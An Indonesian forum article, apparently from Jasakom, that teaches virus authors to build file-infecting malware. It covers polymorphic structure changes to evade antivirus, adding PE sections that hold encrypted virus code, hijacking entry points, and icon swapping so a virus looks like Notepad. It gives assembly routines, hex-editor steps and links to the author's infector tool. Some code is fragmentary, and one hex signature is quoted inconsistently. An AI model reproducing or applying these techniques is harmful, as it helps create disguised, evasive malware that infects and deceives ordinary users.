LANGSUNG
MULAI tanpa basa-basi!!!
Pada artikel kali ini saya nggak akan menghabiskan waktu
untuk membahas tentang apa itu virus ataupun cara pembuatannya tapi hanya akan
memberikan contoh bagaimana cara membuat tehnik-tehnik seperti judul diatas
(sama juga boong donk!). Btw bagi yang dah bosan dengan virus gak usah diterusin
baca ini, demi keamanan anda agar tidak menjadi korban internet. eh, virus. :-)
Tehnik pertama yang akan kita pelajari adalah Polymorphic.
1. Polymorphic
============
Polymorphic adalah tehnik dimana virus mampu merubah-rubah
struktur tubuhnya seperti PE header PE Signatur maupun jumlah section pada
tubuhnya, nah nilai dalam perubahan itu sendiri bisa bersifat konstanta maupun
random sehingga secara otomatis CRC-nya juga akan ikut berubah, so pasti
Antivirus maupun removal yang hanya menghandle virus dengan CRC, besar header,
maupun nilai binarynya akan kesulitan bahkan gagal mendeteksinya sebagai virus!,
biasanya polymorphic udah dibarengi dengan enkripsi, dengan key yang acak
seperti mengambil nilai dengan perintah API GetTickCount() dan menjadikan nilai
pengembaliannya sebagai key untuk mengenkripsi/mendekripsinya.
Sebagai contoh virus yang menggunakan tehnik ini adalah
W32/Bagle cs yang sedang seru-serunya bertarung dengan W32/Netsky cs di arena
pertarungan virus kelas dunia.
W32/Bagle dapat merubah struktur tubuhnya baik dengan cara
NOPing maupun merubah NumberOfSection pada struktur IMAGE_FILE_HEADER.
IMAGE_FILE_HEADER STRUCT
Machine WORD ?
NumberOfSections WORD ?
TimeDateStamp dd ?
PointerToSymbolTable dd ?
NumberOfSymbols dd ?
SizeOfOptionalHeader WORD ?
Characteristics WORD ?
IMAGE_FILE_HEADER ENDS
IMAGE_FILE_HEADER adalah salah satu member dari PE header
dimana PE header sendiri memiliki nama official yang diinisialisasi oleh Windows
sebagai IMAGE_NT_HEADERS dengan struktur :
IMAGE_NT_HEADERS STRUCT
Signature dd ?
FileHeader IMAGE_FILE_HEADER <>
OptionalHeader IMAGE_OPTIONAL_HEADER32 <>
IMAGE_NT_HEADERS ENDS
virus sebelum proses polymorphic dengan NOP :
code_virus_start:
{code}
code_virus_end
virus sesudah proses polymorphic dengan NOP :
code_virus_start:
nop
nop
;4 nop
dah nongkrong penuh percaya diri disini
nop
nop
{code}
code_virus_end
Untuk menambah section maka bisa dengan cara :
push lpFile
;pointer menunjuk ke virus anakan target yang
call SectionCount
;akan ditambah sectionnya
test eax,eax
;apakah bisa ditambah sectionnya?
jz tamat
;gak, keluar!
mov ebx, eax
dec ebx
push lpFile
push ebx
call SectionHeadPtr
;ambil pointer section utama
mov esi, eax
;hasil masukkan ke esi
lea edi, nama_section
;nama section yang akan kita tambah
mov ecx, 8
;jumlah byte yang harus ditulis
rep movsb
;tambah !
ret
tamat:
xor eax,eax
ret
hasilnya :
virus sebelum ditambah
sectionnya
|---------------|
| DOS MZ Header |
|---------------|
| DOS Stub |
|---------------|
| PE Header |
|---------------|
| Section Table |
|---------------|
| Section 1 |
|---------------|
| Section 2 |
|---------------|
virus sesudah ditambah
sectionnya
|---------------|
| DOS MZ Header |
|---------------|
| DOS Stub |
|---------------|
| PE Header |
|---------------|
| Section Table | ;juga mendaftarkan
section baru disini
|---------------|
| Section 1 |
|---------------|
| Section 2 |
|---------------|
|
Section 3
| ;section baru pun bertambah
|---------------|
dengan
penambahan section ini juga kita bisa menginfeksi file executable lain dengan
cara membuat section baru yang berisi kode virus kita yang telah dienkripsi
dengan key random/acak dan membelokkan EntryPoint asli ke section virus kita
lalu pada akhir kode kembalikan pemanggilan pada kode program yang asli, so be
happy my virus was joined with other progie.
Dengan
begini Antivirus akan kesulitan untuk membunuh virus yang telah menjadi satu
dengan tubuh file executable yang lain (sebut aja PE Infector) kalaupun bisa
kita harus rela applikasi kita lenyap dibumihanguskan oleh Antivirus, alias
DELETE!!.
Tehnik
ini telah dengan baik digunakan oleh W32/Bagle untuk menginfeksi executable
seperti, dalam kasus ini saya pernah menjalankan virus Bagle dan alhasil dia
menginfeksi Notepad, Kaluklator dan Explorerku, sehingga dia tidak membutuhkan
penulisan HKEY/blabla/curver/run atau gandakan diri ke area startup directory
untuk membuatnya dijalankan secara otomatis bila masuk Windows, hal ini bisa
terjadi karena dengan dijalankannya explorer waktu Windows start, secara kasat
mata Bagle juga akan ikut nongkrong di proses komputer kita!.
Untuk
lebih jelasnya dan lebih meyakinkan coba tool buatan saya yang bisa menyatukan 2
program yang berbeda, INGAT!!! asal jangan digunakan untuk menggabung-gabungkan
program dengan virus/spyware loh!!. download:
http://www.geocities.com/anvie_2194/peinfector.zip
dan yang
ini contoh hasil penggabungan antara kalkulator dan notepad (calc.exe
notepad.exe) :
http://www.geocities.com/anvie_2194/hasildiinfect.zip
kalo kamu
pake Antivirus Avira dia akan mendeteksi hasil gabungan file kamu sebagai
W32/Bagle atau Susp/Bagle, ya karena aku pake engine gaya Bagle.
Contoh
kasus yang lain adalah tehnik icon polymorphic, dimana virus tersebut memiliki
kemampuan untuk merubah-rubah wajahnya (self-defacing) dalam hal ini icon
resourcenya, kadang bisa berubah menjadi word, jpeg, rtf, installer, dan
resource icon yang ada pada SHELL32.DLL, salah satu virus yang menggunakan
tehnik ini adalah virus lokal yaitu W32/decoil, dia bisa mengecoh user dengan
beraneka ragam icon yang berbeda-beda bahkan melakukan pemalsuan terhadap
winamp!. lama juga aku coba tuk memahami bagaimana cara kerjanya, akhirnya
setelah lama berantem dengan angka hexa ternyata tehniknya sangat mudah semudah
kopi paste!, dan gak pake perintah API sama sekali jadi begini :
coba buka
dengan hexa editor “calc.exe†aku pake WinHex v10.7, cari nilai hexa
280000003000000060 pakai fitur hexa search, kalo
dah ketemu blok dari alamat hexa yang ditemukan diatas diblok sebanyak
3750 byte lalu dikopi, setelah itu buka juga
dengan hexa editor file “notepad.exeâ€, (jangan lupa di backup dulu sebelum di
deface iconnya) lalu pakai fitur hex search cari juga nilai hex yang sama
seperti diatas, kalo ketemu paste-kan nilai yang dah kita kopi tadi ke alamat
yang ditemukan ditubuh “notepad.exeâ€, kalo dah simpan dan lihat hasilnya ikon
notepad akan berubah menjadi ikon calculator!!.
Nah
sekarang saya terangkan maksud diatas, nilai hexa
28000000300000060 adalah cara Windows mengenali kalo itu adalah resource
icon dengan resolusi 48x48 pixel 256 colors, lihat pada byte ke 5 yaitu nilai 30
kalo didesimalkan menjadi 48. karena 48x48 pixel maka besar kapasitas iconnya
adalah 3750 byte, lalu kita kopi dan di-paste-kan
ke “notepad.exe†pas di resource iconnya yang 48x48 pixel 256 colors.
Daftar nilai hexa untuk
masing-masing resolusi ikon :
280000001000000020 = icon resolusi 16x16 pixel 256 colors.
280000002000000040 = icon resolusi 32x32 pixel 256 colors.
280000003000000060 = icon resolusi 48x48 pixel 256 colors.
Untuk koding nya bisa begini :
Deface_my_child proc uses edi esi IconResource:DWORD,MyChild:DWORD
LOCAL memptr1,memptr2:DWORD
LOCAL ByteSize:DWORD
push
30
;30 = 48
maksudnya kita hanya akan mengganti
push
IconResource
;icon
resource resolusi 48x48 pixels
call
ExtractIconFrom
;setelah
pemanggilan ini eax berisi
mov
memptr1,eax
;alamat
icon resource dan ecx berisi jumlah byte
mov
ByteSize,ecx
;buka file virus anakan kita
push
MyChild
call
OpenFileMapping
mov
memptr2,eax
;eax
berisi alamat file hasil maping di memory
;rubah wajahnya dengan icon dari memptr1
push
memptr1
;alamat
icon dari memptr1
push
ByteSize
;jumlah
bytes yang harus dituliskan (overwriting)
push
eax
;alamat
virus anakan (file handle)
call
WritesToFile
;panggil
prosedur penulisan pada file yang
push
eax
;dah di
mapping di memory
call
CloseFileMapping
;jangan
lupa bebaskan memory
ret
Deface_my_child endp
contoh penggunaan prosedur
diatas adalah :
.data
source db ‘C:\windows\notepad.exe’,0
target db ‘c:\windows\virus_anakan.exe’,0
.code
satrt:
push
offset target
push
offset source
call
Deface_my_child
push
0
call
ExitProcess
end start
Setelah kode tadi dieksekusi
icon virus kamu akan berubah wujud!, menjadi notepad! (cuma kamuflase).
----------------------------------------------------------------------------------------------------
Wah kayaknya kalo diterusin
artikel ini gak cukup ditulis sekali, nah daripada ntar dipotong ma pengelola
Jasakom, mendingan kita lanjutin tehnik yang lainnya pada artikel selanjutnya
aja deh ya..... setuju nggak? (kalo komentarnya gak setuju niscaya akan
kuhentikan artikel ini sampai disini.).
oh ya, untuk mereka yang
mengatainku pelit dah puas!?.
Untuk yang dah pada ahli ma’af
bila ada kesalahan dalam pemahaman saya ini, ya karena aku juga masih newbie dan
masih butuh belajar banyak dari para suhu.